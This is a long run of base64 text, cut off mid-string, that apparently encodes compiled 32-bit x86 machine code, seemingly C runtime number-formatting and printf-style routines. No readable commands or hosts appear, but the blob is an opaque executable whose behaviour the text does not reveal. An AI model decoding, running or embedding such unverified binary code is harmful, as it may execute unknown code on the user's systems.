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Ux0MI/////wH56f39//+NdCYAkIt9yItN0In4hf8Pj3H9///pZP///420JgAAAACNdCYAVYnlV1ZTicOD7DyDeBD9D4TLAAAAD7dQFGaF0g+EpgAAAItDEIll1IPAD8HoBMHgBOiq8P//KcSNReDHReAAAAAAjXQkEMdF5AAAAACJRCQIiVQkBIk0JOgzRQAAhcAPjssAAACNPAbrGY22AAAAAItDIIgUAYtTIIPCAYlTIDn+dDeLQwSDxgH2xEB1CItTIDlTJH7jD75W/4sL9sQgdM+JFCSJTCQE6INKAACLUyCDwgGJUyA5/nXJi2XUjWX0W15fXcONdgCJ2rguAAAA6Kzx//+NZfRbXl9dw410JgDHReAAAAAAjXXgx0XkAAAAAOhSSgAAiXQkDMdEJAgQAAAAiwCJRCQEjUXeiQQk6I1HAACFwH4xD7dV3maJUxSJQxDp8v7//420JgAAAABmkInauC4AAADoRPH//4tl1Ol5////jXQmAA+3UxTr0WaQVYnFV4nXVonOU4PsHItcJDCLSwiF9g+OjAEAADnxfBIp8YlLCHgLi0MMOcEPj4wBAADHQwj/////uf/////2QwUQdExmg3scAA+E4QAAAI1GArqrqqqq9+KJyNHqiVQkDIPqASnKg3wkDAF1G+m+AAAAjbYAAAAAg+gBidEBwYlDCA+EnAAAAIXAf+yNdCYAhe0PhfkAAACLQwT2xAEPhYwCAACoQA+F5AIAAItDCIXAfhWLUwSB4gAGAACB+gACAAAPhIACAACNaxyF9g+OxQEAAI10JgCQD7YXuDAAAACE0nQGg8cBD77CidroP/D//4PuAQ+E9gAAAPZDBRB02GaDexwAdNFpxquqqqo9VVVVVXfEidm6AQAAAIno6G7w///rtInBjbQmAAAAAI12AIXJD45Y////he0PhSgBAACLQwSpwAEAAA+EIgIAAIPpAYlLCA+EQf////bEBg+FOP///4PpAYlLCI20JgAAAACJ2rggAAAA6LTv//+LQwiNUP+JUwiFwH/nhe0PhAf///+J2rgtAAAA6JPv///pCv///422AAAAAIXJD46gAAAAg+kBi0MMOcEPjpgAAAApwYlLCIXAD441AQAAg+kBiUsIhfYPjlf////2QwUQD4RN////6Vz+//+NtCYAAAAAkItDDIXAfxn2QwUIdROD6AG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